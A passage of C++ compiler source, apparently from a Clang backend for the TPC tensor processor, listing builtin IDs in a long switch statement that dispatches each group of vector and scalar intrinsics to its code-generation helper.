TPC::BIv_i8_find_first_b:\n case TPC::BIv_i8_find_first_vb:\n case TPC::BIv_u8_find_first_b:\n case TPC::BIv_u8_find_first_vb:\n return emit_FIND_FIRST(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_nearbyint:\n case TPC::BIs_bf16_nearbyint:\n case TPC::BIv_f32_nearbyint_b:\n case TPC::BIv_f32_nearbyint_vb:\n case TPC::BIv_bf16_nearbyint_b:\n case TPC::BIv_bf16_nearbyint_vb:\n return emit_NEARBYINT(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_extract_exp:\n case TPC::BIs_bf16_extract_exp:\n case TPC::BIv_f32_extract_exp_vb:\n case TPC::BIv_f32_extract_exp_b:\n case TPC::BIv_bf16_extract_exp_vb:\n case TPC::BIv_bf16_extract_exp_b:\n return emit_EXTRACT_EXP(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_fclass:\n case TPC::BIs_bf16_fclass:\n case TPC::BIv_f32_fclass_b:\n case TPC::BIv_bf16_fclass_b:\n case TPC::BIv_f32_fclass_vb:\n case TPC::BIv_bf16_fclass_vb:\n return emit_FCLASS(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_brev:\n case TPC::BIs_bf16_brev:\n case TPC::BIs_i32_brev:\n case TPC::BIs_u32_brev:\n case TPC::BIs_i16_brev:\n case TPC::BIs_u16_brev:\n case TPC::BIs_i8_brev:\n case TPC::BIs_u8_brev:\n case TPC::BIv_f32_brev_b:\n case TPC::BIv_f32_brev_vb:\n case TPC::BIv_bf16_brev_b:\n case TPC::BIv_bf16_brev_vb:\n case TPC::BIv_i32_brev_b:\n case TPC::BIv_i32_brev_vb:\n case TPC::BIv_u32_brev_b:\n case TPC::BIv_u32_brev_vb:\n case TPC::BIv_i16_brev_b:\n case TPC::BIv_i16_brev_vb:\n case TPC::BIv_u16_brev_b:\n case TPC::BIv_u16_brev_vb:\n case TPC::BIv_i8_brev_b:\n case TPC::BIv_i8_brev_vb:\n case TPC::BIv_u8_brev_b:\n case TPC::BIv_u8_brev_vb:\n return emit_BREV(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BImov_irf_dim:\n return emit_MOV_IRF_DIM(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_i1_mov_flavor_b:\n case TPC::BIv_i1_mov_flavor_vb:\n return emit_MOV_FLAVOR(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIi_i32_mov:\n return emit_MOV_IRF(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_i1_mov:\n case TPC::BIv_i1_mov_b:\n case TPC::BIv_i1_mov_vb:\n case TPC::BIv_i1_mov_i1_b:\n case TPC::BIv_i1_mov_i1_vb:\n case TPC::BIs_f32_mov:\n case TPC::BIs_bf16_mov:\n case TPC::BIs_i32_mov:\n case TPC::BIs_u32_mov:\n case TPC::BIs_i16_mov:\n case TPC::BIs_u16_mov:\n case TPC::BIs_i8_mov:\n case TPC::BIs_u8_mov:\n case TPC::BIv_f32_mov_vb:\n case TPC::BIv_bf16_mov_vb:\n case TPC::BIv_i32_mov_vb:\n case TPC::BIv_u32_mov_vb:\n case TPC::BIv_i16_mov_vb:\n case TPC::BIv_u16_mov_vb:\n case TPC::BIv_i8_mov_vb:\n case TPC::BIv_u8_mov_vb:\n case TPC::BIv_f32_mov_b:\n case TPC::BIv_bf16_mov_b:\n case TPC::BIv_i32_mov_b:\n case TPC::BIv_u32_mov_b:\n case TPC::BIv_i16_mov_b:\n case TPC::BIv_u16_mov_b:\n case TPC::BIv_i8_mov_b:\n case TPC::BIv_u8_mov_b:\n return emit_MOV(CGF, BuiltinID, E, ReturnValue, Arch);\n \n case TPC::BIu32_udiv_step:\n case TPC::BIu16_udiv_step:\n case TPC::BIu8_udiv_step:\n case TPC::BIu32_udiv_4step:\n case TPC::BIu16_udiv_4step:\n case TPC::BIu8_udiv_4step:\n return emit_UDIV_STEP(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIs_f32_calc_fp_special:\n case TPC::BIs_bf16_calc_fp_special:\n case TPC::BIv_f32_calc_fp_special_b:\n case TPC::BIv_f32_calc_fp_special_vb:\n case TPC::BIv_bf16_calc_fp_special_b:\n case TPC::BIv_bf16_calc_fp_special_vb:\n return emit_CALC_FP_SPECIAL(CGF, BuiltinID, E, ReturnValue, Arch);\n\n //------ Vector only instructions --------------------------------------------\n\n case TPC::BIv_f32_shuffle_b:\n case TPC::BIv_f32_shuffle_vb:\n case TPC::BIv_bf16_shuffle_b:\n case TPC::BIv_bf16_shuffle_vb:\n case TPC::BIv_i32_shuffle_b:\n case TPC::BIv_i32_shuffle_vb:\n case TPC::BIv_u32_shuffle_b:\n case TPC::BIv_u32_shuffle_vb:\n case TPC::BIv_i16_shuffle_b:\n case TPC::BIv_i16_shuffle_vb:\n case TPC::BIv_u16_shuffle_b:\n case TPC::BIv_u16_shuffle_vb:\n case TPC::BIv_i8_shuffle_b:\n case TPC::BIv_i8_shuffle_vb:\n case TPC::BIv_u8_shuffle_b:\n case TPC::BIv_u8_shuffle_vb:\n return emit_SHUFFLE(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_bf16_pack_b:\n case TPC::BIv_bf16_pack_vb:\n case TPC::BIv_i16_pack_b:\n case TPC::BIv_i16_pack_vb:\n case TPC::BIv_u16_pack_b:\n case TPC::BIv_u16_pack_vb:\n case TPC::BIv_i8_pack_b:\n case TPC::BIv_i8_pack_vb:\n case TPC::BIv_u8_pack_b:\n case TPC::BIv_u8_pack_vb:\n return emit_PACK(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_bf16_unpack_b:\n case TPC::BIv_bf16_unpack_vb:\n case TPC::BIv_i16_unpack_b:\n case TPC::BIv_i16_unpack_vb:\n case TPC::BIv_u16_unpack_b:\n case TPC::BIv_u16_unpack_vb:\n case TPC::BIv_i8_unpack_b:\n case TPC::BIv_i8_unpack_vb:\n case TPC::BIv_u8_unpack_b:\n case TPC::BIv_u8_unpack_vb:\n return emit_UNPACK(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_get_lut_entry_and_interval_start_b:\n case TPC::BIv_f32_get_lut_entry_and_interval_start_vb:\n case TPC::BIv_bf16_get_lut_entry_and_interval_start_b:\n case TPC::BIv_bf16_get_lut_entry_and_interval_start_vb:\n return emit_GET_LUT(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_form_fp_num_b:\n case TPC::BIv_f32_form_fp_num_vb:\n case TPC::BIv_bf16_form_fp_num_b:\n case TPC::BIv_bf16_form_fp_num_vb:\n \n\n case TPC::BIv_f32_form_fp_num_ie_b:\n case TPC::BIv_f32_form_fp_num_ie_vb:\n case TPC::BIv_bf16_form_fp_num_ie_b:\n case TPC::BIv_bf16_form_fp_num_ie_vb:\n\n return emit_FORM_FP_NUMBER(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_mov_dual_group_b:\n case TPC::BIv_f32_mov_dual_group_vb:\n case TPC::BIv_bf16_mov_dual_group_b:\n case TPC::BIv_bf16_mov_dual_group_vb:\n case TPC::BIv_i32_mov_dual_group_b:\n case TPC::BIv_i32_mov_dual_group_vb:\n case TPC::BIv_u32_mov_dual_group_b:\n case TPC::BIv_u32_mov_dual_group_vb:\n case TPC::BIv_i16_mov_dual_group_b:\n case TPC::BIv_i16_mov_dual_group_vb:\n case TPC::BIv_u16_mov_dual_group_b:\n case TPC::BIv_u16_mov_dual_group_vb:\n case TPC::BIv_i8_mov_dual_group_b:\n case TPC::BIv_i8_mov_dual_group_vb:\n case TPC::BIv_u8_mov_dual_group_b:\n case TPC::BIv_u8_mov_dual_group_vb:\n return emit_MOV_DUAL_GROUP(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_mov_dual_group_all_b:\n case TPC::BIv_f32_mov_dual_group_all_vb:\n case TPC::BIv_bf16_mov_dual_group_all_b:\n case TPC::BIv_bf16_mov_dual_group_all_vb:\n case TPC::BIv_i32_mov_dual_group_all_b:\n case TPC::BIv_i32_mov_dual_group_all_vb:\n case TPC::BIv_u32_mov_dual_group_all_b:\n case TPC::BIv_u32_mov_dual_group_all_vb:\n case TPC::BIv_i16_mov_dual_group_all_b:\n case TPC::BIv_i16_mov_dual_group_all_vb:\n case TPC::BIv_u16_mov_dual_group_all_b:\n case TPC::BIv_u16_mov_dual_group_all_vb:\n case TPC::BIv_i8_mov_dual_group_all_b:\n case TPC::BIv_i8_mov_dual_group_all_vb:\n case TPC::BIv_u8_mov_dual_group_all_b:\n case TPC::BIv_u8_mov_dual_group_all_vb:\n return emit_MOV_DUAL_GROUP_ALL(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_mov_group_b:\n case TPC::BIv_f32_mov_group_vb:\n case TPC::BIv_bf16_mov_group_b:\n case TPC::BIv_bf16_mov_group_vb:\n case TPC::BIv_i32_mov_group_b:\n case TPC::BIv_i32_mov_group_vb:\n case TPC::BIv_u32_mov_group_b:\n case TPC::BIv_u32_mov_group_vb:\n case TPC::BIv_i16_mov_group_b:\n case TPC::BIv_i16_mov_group_vb:\n case TPC::BIv_u16_mov_group_b:\n case TPC::BIv_u16_mov_group_vb:\n case TPC::BIv_i8_mov_group_b:\n case TPC::BIv_i8_mov_group_vb:\n case TPC::BIv_u8_mov_group_b:\n case TPC::BIv_u8_mov_group_vb:\n return emit_MOV_GROUP(CGF, BuiltinID, E, ReturnValue, Arch);\n\n case TPC::BIv_f32_sel_eq_f32_vb:\n case TPC::BIv_f32_sel_eq_f32_b:\n case TPC::BIv_f32_sel_eq_i32_vb:\n case TPC::BIv_f32_sel_eq_i32_b:\n case TPC::BIv_f32_sel_eq_u32_vb:\n case TPC::BIv_f32_sel_eq_u32_b:\n case TPC::BIv_bf16_sel_eq_bf16_b:\n case TPC::BIv_bf16_sel_eq_bf16_vb:\n case TPC::BIv_bf16_sel_eq_i16_vb:\n case TPC::BIv_bf16_sel_eq_i16_b:\n case TPC::BIv_bf16_sel_eq_u16_vb:\n case TPC::BIv_bf16_sel_eq_u16_b:\n case TPC::BIv_i32_sel_eq_f32_vb:\n case TPC::BIv_i32_sel_eq_f32_b:\n case TPC::BIv_i32_sel_eq_i32_vb:\n case TPC::BIv_i32_sel_eq_i32_b:\n case TPC::BIv_i32_sel_eq_u32_vb:\n case TPC::BIv_i32_sel_eq_u32_b:\n case TPC::BIv_u32_sel_eq_f32_vb:\n case TPC::BIv_u32_sel_eq_f32_b:\n case TPC::BIv_u32_sel_eq_i32_vb:\n case TPC::BIv_u32_sel_eq_i32_b:\n case TPC::BIv_u32_sel_eq_u32_vb:\n case TPC::BIv_u32_sel_eq_u32_b:\n case TPC::BIv_i16_sel_eq_bf16_vb:\n case TPC::BIv_i16_sel_eq_bf16_b:\n case TPC::BIv_i16_sel_eq_i16_vb:\n case TPC::BIv_i16_sel_eq_i16_b:\n case TPC::BIv_i16_sel_eq_u16_vb:\n case TPC::BIv_i16_sel_eq_u16_b:\n case TPC::BIv_u16_sel_eq_bf16_vb:\n case TPC::BIv_u16_sel_eq_bf16_b:\n case TPC::BIv_u16_sel_eq_i16_vb:\n case TPC::BIv_u16_sel_eq_i16_b:\n case TPC::BIv_u16_sel_eq_u16_vb:\n case TPC::BIv_u16_sel_eq_u16_b:\n case TPC::BIv_i8_sel_eq_i8_vb:\n case TPC::BIv_i8_sel_eq_i8_b:\n case TPC::BIv_i8_sel_eq_u8_vb:\n case TPC::BIv_i8_sel_eq_u8_b:\n case TPC::BIv_u8_sel_eq_i8_vb:\n case TPC::BIv_u8_sel_eq_i8_b:\n case TPC::BIv_u8_sel_eq_u8_vb:\n case TPC::BIv_u8_sel_eq_u8_b:\n//fp8\n return emit_SEL(CGF, BuiltinID, E, ReturnValue, Arch,\n Intrinsic::tpc_sel_eq);\n\n case TPC::BIv_f32_sel_neq_f32_vb:\n case TPC::BIv_f32_sel_neq_f32_b:\n case TPC::BIv_f32_sel_neq_i32_vb:\n case TPC::BIv_f32_sel_neq_i32_b:\n case TPC::BIv_f32_sel_neq_u32_vb:\n case TPC::BIv_f32_sel_neq_u32_b:\n case TPC::BIv_bf16_sel_neq_bf16_b:\n case TPC::BIv_bf16_sel_neq_bf16_vb:\n case TPC::BIv_bf16_sel_neq_i16_vb:\n case TPC::BIv_bf16_sel_neq_i16_b:\n case TPC::BIv_bf16_sel_neq_u16_vb:\n case TPC::BIv_bf16_sel_neq_u16_b:\n case TPC::BIv_i32_sel_neq_f32_vb:\n case TPC::BIv_i32_sel_neq_f32_b:\n case TPC::BIv_i32_sel_neq_i32_vb:\n case TPC::BIv_i32_sel_neq_i32_b:\n case TPC::BIv_i32_sel_neq_u32_vb:\n case TPC::BIv_i32_sel_neq_u32_b:\n case TPC::BIv_u32_sel_neq_f32_vb:\n case TPC::BIv_u32_sel_neq_f32_b:\n case TPC::BIv_u32_sel_neq_i32_vb:\n case TPC::BIv_u32_sel_neq_i32_b:\n case TPC::BIv_u32_sel_neq_u32_vb:\n case TPC::BIv_u32_sel_neq_u32_b:\n case TPC::BIv_i16_sel_neq_bf16_vb:\n case TPC::BIv_i16_sel_neq_bf16_b:\n case TPC::BIv_i16_sel_neq_i16_vb:\n case TPC::BIv_i16_sel_neq_i16_b:\n case TPC::BIv_i16_sel_neq_u16_vb:\n case TPC::BIv_i16_sel_neq_u16_b:\n case TPC::BIv_u16_sel_neq_bf16_vb:\n case TPC::BIv_u16_sel_neq_bf16_b:\n case TPC::BIv_u16_sel_neq_i16_vb:\n case TPC::BIv_u16_sel_neq_i16_b:\n case TPC::BIv_u16_sel_neq_u16_vb:\n case TPC::BIv_u16_sel_neq_u16_b:\n case TPC::BIv_i8_sel_neq_i8_vb:\n case TPC::BIv_i8_sel_neq_i8_b:\n case TPC::BIv_i8_sel_neq_u8_vb:\n case TPC::BIv_i8_sel_neq_u8_b:\n case TPC::BIv_u8_sel_neq_i8_vb:\n case TPC::BIv_u8_sel_neq_i8_b:\n case TPC::BIv_u8_sel_neq_u8_vb:\n case TPC::BIv_u8_sel_neq_u8_b:\n//fp8\n return emit_SEL(CGF, BuiltinID, E, ReturnValue, Arch,\n Intrinsic::tpc_sel_neq);\n\n case TPC::BIv_f32_sel_less_f32_vb:\n case TPC::BIv_f32_sel_less_f32_b:\n case TPC::BIv_f32_sel_less_i32_vb:\n case TPC::BIv_f32_sel_less_i32_b:\n case TPC::BIv_f32_sel_less_u32_vb:\n case TPC::BIv_f32_sel_less_u32_b:\n case TPC::BIv_bf16_sel_less_bf16_b:\n case TPC::BIv_bf16_sel_less_bf16_vb:\n case TPC::BIv_bf16_sel_less_i16_vb:\n case TPC::BIv_bf16_sel_less_i16_b:\n case TPC::BIv_bf16_sel_less_u16_vb:\n case TPC::BIv_bf16_sel_less_u16_b:\n case TPC::BIv_i32_sel_less_f32_vb:\n case TPC::BIv_i32_sel_less_f32_b:\n case TPC::BIv_i32_sel_less_i32_vb:\n case TPC::BIv_i32_sel_less_i32_b:\n case TPC::BIv_i32_sel_less_u32_vb:\n case TPC::BIv_i32_sel_less_u32_b:\n case TPC::BIv_u32_sel_less_f32_vb:\n case TPC::BIv_u32_sel_less_f32_b:\n case TPC::BIv_u32_sel_less_i32_vb:\n case TPC::BIv_u32_sel_less_i32_b:\n case TPC::BIv_u32_sel_less_u32_vb:\n case TPC::BIv_u32_sel_less_u32_b:\n case TPC::BIv_i16_sel_less_bf16_vb:\n case TPC::BIv_i16_sel_less_bf16_b:\n case TPC::BIv_i16_sel_less_i16_vb:\n case TPC::BIv_i16_sel_less_i16_b:\n case TPC::BIv_i16_sel_less_u16_vb:\n case TPC::BIv_i16_sel_less_u16_b:\n case TPC::BIv_u16_sel_less_bf16_vb:\n case TPC::BIv_u16_sel_less_bf16_b:\n case TPC::BIv_u16_sel_less_i16_vb:\n case TPC::BIv_u16_sel_less_i16_b:\n case TPC::BIv_u16_sel_less_u16_vb:\n case TPC::BIv_u16_sel_less_u16_b:\n case TPC::BIv_i8_sel_less_i8_vb:\n case TPC::BIv_i8_sel_less_i8_b:\n case TPC::BIv_i8_sel_less_u8_vb:\n case TPC::BIv_i8_sel_less_u8_b:\n case TPC::BIv_u8_sel_less_i8_vb:\n case TPC::BIv_u8_sel_less_i8_b:\n case TPC::BIv_u8_sel_less_u8_vb:\n case TPC::BIv_u8_sel_less_u8_b:\n//fp8\n return emit_SEL(CGF, BuiltinID, E, ReturnValue, Arch,\n Intrinsic::tpc_sel_less);\n\n case TPC::BIv_f32_sel_leq_f32_vb:\n case TPC::BIv_f32_sel_leq_f32_b:\n case TPC::BIv_f32_sel_leq_i32_vb:\n case TPC::BIv_f32_sel_leq_i32_b:\n case TPC::BIv_f32_sel_leq_u32_vb:\n case TPC::BIv_f32_sel_leq_u32_b:\n case TPC::BIv_bf16_sel_leq_bf16_b:\n case TPC::BIv_bf16_sel_leq_bf16_vb:\n case TPC::BIv_bf16_sel_leq_i16_vb:\n case TPC::BIv_bf16_sel_leq_i16_b:\n case TPC::BIv_bf16_sel_leq_u16_vb:\n case TPC::BIv_bf16_sel_leq_u16_b:\n case TPC::BIv_i32_sel_leq_f32_vb:\n case TPC::BIv_i32_sel_leq_f32_b:\n case TPC::BIv_i32_sel_leq_i32_vb:\n case TPC::BIv_i32_sel_leq_i32_b:\n case TPC::BIv_i32_sel_leq_u32_vb:\n case TPC::BIv_i32_sel_leq_u32_b:\n case TPC::BIv_u32_sel_leq_f32_vb:\n case TPC::BIv_u32_sel_leq_f32_b:\n case TPC::BIv_u32_sel_leq_i32_vb:\n case TPC::BIv_u32_sel_leq_i32_b:\n case TPC::BIv_u32_sel_leq_u32_vb:\n case TPC::BIv_u32_sel_leq_u32_b:\n case TPC::BIv_i16_sel_leq_bf16_vb:\n case TPC::BIv_i16_sel_leq_bf16_b:\n case TPC::BIv_i16_sel_leq_i16_vb:\n case TPC::BIv_i16_sel_leq_i16_b:\n case TPC::BIv_i16_sel_leq_u16_vb:\n case TPC::BIv_i16_sel_leq_u16_b:\n case TPC::BIv_u16_sel_leq_bf16_vb:\n case TPC::BIv_u16_sel_leq_bf16_b:\n case TPC::BIv_u16_sel_leq_i16_vb:\n case TPC::BIv_u16_sel_leq_i16_b:\n case TPC::BIv_u16_sel_leq_u16_vb:\n case TPC::BIv_u16_sel_leq_u16_b:\n case TPC::BIv_i8_sel_leq_i8_vb:\n case TPC::BIv_i8_sel_leq_i8_b:\n case TPC::BIv_i8_sel_leq_u8_vb:\n case TPC::BIv_i8_sel_leq_u8_b:\n case TPC::BIv_u8_sel_leq_i8_vb:\n case TPC::BIv_u8_sel_leq_i8_b:\n case TPC::BIv_u8_sel_leq_u8_vb:\n case TPC::BIv_u8_sel_leq_u8_b:\n//fp8\n return emit_SEL(CGF, BuiltinID, E, ReturnValue, Arch,\n Intrinsic::tpc_sel_leq);\n\n case TPC::BIv_f32_sel_grt_f32_vb:\n case TPC::BIv_f32_sel_grt_f32_b:\n case TPC::BIv_f32_sel_grt_i32_vb:\n case TPC::BIv_f32_sel_grt_i32_b:\n case TPC::BIv_f32_sel_grt_u32_vb:\n case TPC::BIv_f32_sel_grt_u32_b:\n case TPC::BIv_bf16_sel_grt_bf16_b:\n case TPC::BIv_bf16_sel_grt_bf16_vb:\n case TPC::BIv_bf16_sel_grt_i16_vb:\n case TPC::BIv_bf16_sel_grt_i16_b:\n case TPC::BIv_bf16_sel_grt_u16_vb:\n case TPC::BIv_bf16_sel_grt_u16_b:\n case TPC::BIv_i32_sel_grt_f32_vb:\n case TPC::BIv_i32_sel_grt_f32_b:\n case TPC::BIv_i32_sel_grt_i32_vb:\n case TPC::BIv_i32_sel_grt_i32_b:\n case TPC::BIv_i32_sel_grt_u32_vb:\n case TPC::BIv_i32_sel_grt_u32_b:\n case TPC::BIv_u32_sel_grt_f32_vb:\n case TPC::BIv_u32_sel_grt_f32_b:\n case TPC::BIv_u32_sel_grt_i32_vb:\n case TPC::BIv_u32_sel_grt_i32_b:\n case TPC::BIv_u32_sel_grt_u32_vb:\n case TPC::BIv_u32_sel_grt_u32_b:\n case TPC::BIv_i16_sel_grt_bf16_vb:\n case TPC::BIv_i16_sel_grt_bf16_b:\n case TPC::BIv_i16_sel_grt_i16_vb:\n case TPC::BIv_i16_sel_grt_i16_b:\n case TPC::BIv_i16_sel_grt_u16_vb:\n case TPC::BIv_i16_sel_grt_u16_b:\n case TPC::BIv_u16_sel_grt_bf16_vb:\n case TPC::BIv_u16_sel_grt_bf16_b:\n case TPC::BIv_u16_sel_grt_i16_vb:\n case TPC::BIv_u16_sel_grt_i16_b:\n case TPC::BIv_u16_sel_grt_u16_vb:\n case TPC::BIv_u16_sel_grt_u16_b:\n case TPC::BIv_i8_sel_grt_i8_vb:\n case TPC::BIv_i8_sel_grt_i8_b:\n case TPC::BIv_i8_sel_grt_u8_vb:\n case TPC::BIv_i8_sel_grt_u8_b:\n case TPC::BIv_u8_sel_grt_i8_vb:\n case TPC::BIv_u8_sel_grt_i8_b:\n case TPC::BIv_u8_sel_grt_u8_vb:\n case TPC::BIv_u8_sel_grt_u8_b:\n//fp8\n return emit_SEL(CGF, BuiltinID, E, ReturnValue, Arch,\n Intrinsic::tpc_sel_grt);\n\n case TPC::BIv_f32_sel_geq_f32_vb:\n case TPC::BIv_f32_sel_geq_f32_b:\n case TPC::BIv_f32_sel_geq_i32_vb:\n case TPC::BIv_f32_sel_geq_i32_b:\n case TPC::BIv_f32_sel_geq_u32_vb:\n case TPC::BIv_f32_sel_geq_u32_b:\n case TPC::BIv_bf16_sel_geq_bf16_b:\n case TPC::BIv_bf16_sel_geq_bf16_vb:\n case TPC::BIv_bf16_sel_geq_i16_vb:\n case TPC::BIv_bf16_sel_geq_i16_b:\n case TPC::BIv_bf16_sel_geq_u16_vb:\n case TPC::BIv_bf16_sel_geq_u16_b:\n case TPC::BIv_i32_sel_geq_f32_vb:\n case TPC::BIv_i32_sel_geq_f32_b:\n case TPC::BIv_i32_sel_geq_i32_vb:\n case TPC::BIv_i32_sel_geq_i32_b:\n case TPC::BIv_i32_sel_geq_u32_vb:\n case TPC::BIv_i32_sel_geq_u32_b:\n case TPC::BIv_u32_sel_geq_f32_vb:\n case TPC::BIv_u32_sel_geq_f32_b:\n case TPC::BIv_u32_sel_geq_i32_vb:\n case TPC::BIv_u32_sel_geq_i32_b:\n case TPC::BIv_u32_sel_geq_u32_vb:\n case TPC::BIv_u32_sel_geq_u32_b:\n case TPC::BIv_i16_sel_geq_bf16_vb:\n case TPC::BIv_i16_sel_geq_bf16_b:\n case TPC::BIv_i16_sel_geq_i16_vb:\n case TPC::BIv_i16_sel_geq_i16_b:\n case TPC::BIv_i16_sel_geq_u16_vb:\n case TPC::BIv_i16_sel_geq_u16_b:\n case TPC::BIv_u16_sel_geq_bf16_vb:\n case TPC::BIv_u16_sel_geq_bf16_b:\n case TPC::BIv_u16_sel_geq_i16_vb:\n case TPC::BIv_u16_sel_geq_i16_b:\n case TPC::BIv_u16_sel_geq_u16_vb:\n case TPC::BIv_u16_sel_geq_u16_b:\n case TPC::BIv_i8_sel_geq_i8_vb:\n case TPC::BIv_i8_sel_geq_i8_b:\n case TPC::BIv_i8_sel_geq_u8_vb:\n case TPC::BIv_i8_sel_geq_u8_b:\n case TPC::BIv_u8_sel_geq_i8_vb:\n case TPC::BIv_u8_sel_geq_i8_b:\n case TPC::BIv_u8_sel_geq_u8_vb:\n case TPC::BIv_u8_sel_geq_u8_b:\n//fp8\n return emit_SEL(CGF, BuiltinID, E, ReturnValue, Arch,\n Intrinsic::tpc_sel_geq);\n\n case TPC::BIv_f32_sel2_less_f32_vb:\n case TPC::BIv_f32_sel2_less_f32_b:\n case TPC::BIv_f32_sel2_less_i32_vb:\n case TPC::BIv_f32_sel2_less_i32_b:\n case TPC::BIv_f32_sel2_less_u32_vb:\n case TPC::BIv_f32_sel2_less_u32_b:\n case TPC::BIv_bf16_sel2_less_bf16_b:\n case TPC::BIv_bf16_sel2_less_bf16_vb:\n case TPC::BIv_bf16_sel2_less_i16_vb:\n case TPC::BIv_bf16_sel2_less_i16_b:\n case TPC::BIv_bf16_sel2_less_u16_vb:\n case TPC::BIv_bf16_sel2_less_u16_b:\n case TPC::BIv_i32_sel2_less_f32_vb:\n case TPC::BIv_i32_sel2_less_f32_b:\n case TPC::BIv_i32_sel2_less_i32_vb:\n case TPC::BIv_i32_sel2_less_i32_b:\n case TPC::BIv_i32_sel2_less_u32_vb:\n case TPC::BIv_i32_sel2_less_u32_b:\n case TPC::BIv_u32_sel2_less_f32_vb:\n case TPC::BIv_u32_sel2_less_f32_b:\n case TPC::BIv_u32_sel2_less_i32_vb:\n case TPC::BIv_u32_sel2_less_i32_b:\n case TPC::BIv_u32_sel2_less_u32_vb:\n case TPC::BIv_u32_sel2_less_u32_b:\n case TPC::BIv_i16_sel2_less_bf16_vb:\n case TPC::BIv_i16_sel2_less_bf16_b:\n case TPC::BIv_i16_sel2_less_i16_vb:\n case TPC::BIv_i16_sel2_less_i16_b:\n case TPC::BIv_i16_sel2_less_u16_vb:\n case TPC::BIv_i16_sel2_less_u16_b:\n case TPC::BIv_u16_sel2_less_bf16_vb:\n case TPC::BIv_u16_sel2_less_bf16_b:\n case TPC::BIv_u16_sel2_less_i16_vb:\n case TPC::BIv_u16_sel2_less_i16_b:\n case TPC::BIv_u16_sel2_less_u16_vb:\n case TPC::BIv_u16_sel2_less_u16_b:\n case TPC::BIv_i8_sel2_less_i8_vb:\n case TPC::BIv_i8_sel2_less_i8_b:\n case TPC::BIv_i8_sel2_less_u8_vb:\n case TPC::BIv_i8_sel2_less_u8_b:\n case TPC::BIv_u8_sel2_less_i8_vb:\n case TPC::BIv_u8_sel2_less_i8_b:\n case TPC::BIv_u8_sel2_less_u8_vb:\n case TPC::BIv_u8_sel2_less_u8_b:\n // fp8\n return emit_SEL(CGF, BuiltinID, E, ReturnValue, Arch,\n Intrinsic::tpc_sel2_less);\n\n case TPC::BIv_f32_sel2_leq_f32_vb:\n case TPC::BIv_f32_sel2_leq_f32_b:\n case TPC::BIv_f32_sel2_leq_i32_vb:\n case TPC::BIv_f32_sel2_leq_i32_b:\n case TPC::BIv_f32_sel2_leq_u32_vb:\n case TPC::BIv_f32_sel2_leq_u32_b:\n case TPC::BIv_bf16_sel2_leq_bf16_b:\n case TPC::BIv_bf16_sel2_leq_bf16_vb:\n case TPC::BIv_bf16_sel2_leq_i16_vb:\n case TPC::BIv_bf16_sel2_leq_i16_b:\n case TPC::BIv_bf16_sel2_leq_u16_vb:\n case TPC::BIv_bf16_sel2_leq_u16_b:\n case TPC::BIv_i32_sel2_leq_f32_vb:\n case TPC::BIv_i32_sel2_leq_f32_b:\n case TPC::BIv_i32_sel2_leq_i32_vb:\n case TPC::BIv_i32_sel2_leq_i32_b:\n case TPC::BIv_i32_sel2_leq_u32_vb:\n case TPC::BIv_i32_sel2_leq_u32_b:\n case TPC::BIv_u32_sel2_leq_f32_vb:\n case TPC::BIv_u32_sel2_leq_f32_b:\n case TPC::BIv_u32_sel2_leq_i32_vb:\n case TPC::BIv_u32_sel2_leq_i32_b:\n case TPC::BIv_u32_sel2_leq_u32_vb:\n case TPC::BIv_u32_sel2_leq_u32_b:\n case TPC::BIv_i16_sel2_leq_bf16_vb:\n case TPC::BIv_i16_sel2_leq_bf16_b:\n case TPC::BIv_i16_sel2_leq_i16_vb:\n case TPC::BIv_i16_sel2_leq_i16_b:\n case TPC::BIv_i16_sel2_leq_u16_vb:\n case TPC::BIv_i16_sel2_leq_u16_b:\n case TPC::BIv_u16_sel2_leq_bf16_vb:\n case TPC::BIv_u16_sel2_leq_bf16_b:\n case TPC::BIv_u16_sel2_leq_i16_vb:\n case TPC::BIv_u16_sel2_leq_i16_b:\n case TPC::BIv_u16_sel2_leq_u16_vb:\n case TPC::BIv_u16_sel2_leq_u16_b:\n case TPC::BIv_i8_sel2_leq_i8_vb:\n case TPC::BIv_i8_sel2_leq_i8_b:\n case TPC::BIv_i8_sel2_leq_u8_vb:\n case TPC::BIv_i8_sel2_leq_u8_b:\n case TPC::BIv_u8_sel2_leq_i8_vb:\n case TPC::BIv_u8_sel2_leq_i8_b:\n case TPC::BIv_u8_sel2_leq_u8_vb:\n case TPC::BIv_u8_sel2_leq_u8_b:\n // fp8\n return emit_SEL(CGF, BuiltinID, E, ReturnValue, Arch,\n Intrinsic::tpc_sel2_leq);\n\n case TPC::BIv_f32_sel2_grt_f32_vb:\n case TPC::BIv_f32_sel2_grt_f32_b:\n case TPC::BIv_f32_sel2_grt_i32_vb:\n case TPC::BIv_f32_sel2_grt_i32_b:\n case TPC::BIv_f32_sel2_grt_u32_vb:\n case TPC::BIv_f32_sel2_grt_u32_b:\n case TPC::BIv_bf16_sel2_grt_bf16_b:\n case TPC::BIv_bf16_sel2_grt_bf16_vb:\n case TPC::BIv_bf16_sel2_grt_i16_vb:\n case TPC::BIv_bf16_sel2_grt_i16_b:\n case TPC::BIv_bf16_sel2_grt_u16_vb:\n case TPC::BIv_bf16_sel2_grt_u16_b:\n case TPC::BIv_i32_sel2_grt_f32_vb:\n case TPC::BIv_i32_sel2_grt_f32_b:\n case TPC::BIv_i32_sel2_grt_i32_vb:\n case TPC::BIv_i32_sel2_grt_i32_b:\n case TPC::BIv_i32_sel2_grt_u32_vb:\n case TPC::BIv_i32_sel2_grt_u32_b:\n case TPC::BIv_u32_sel2_grt_f32_vb:\n case TPC::BIv_u32_sel2_grt_f32_b:\n case TPC::BIv_u32_sel2_grt_i32_vb:\n case 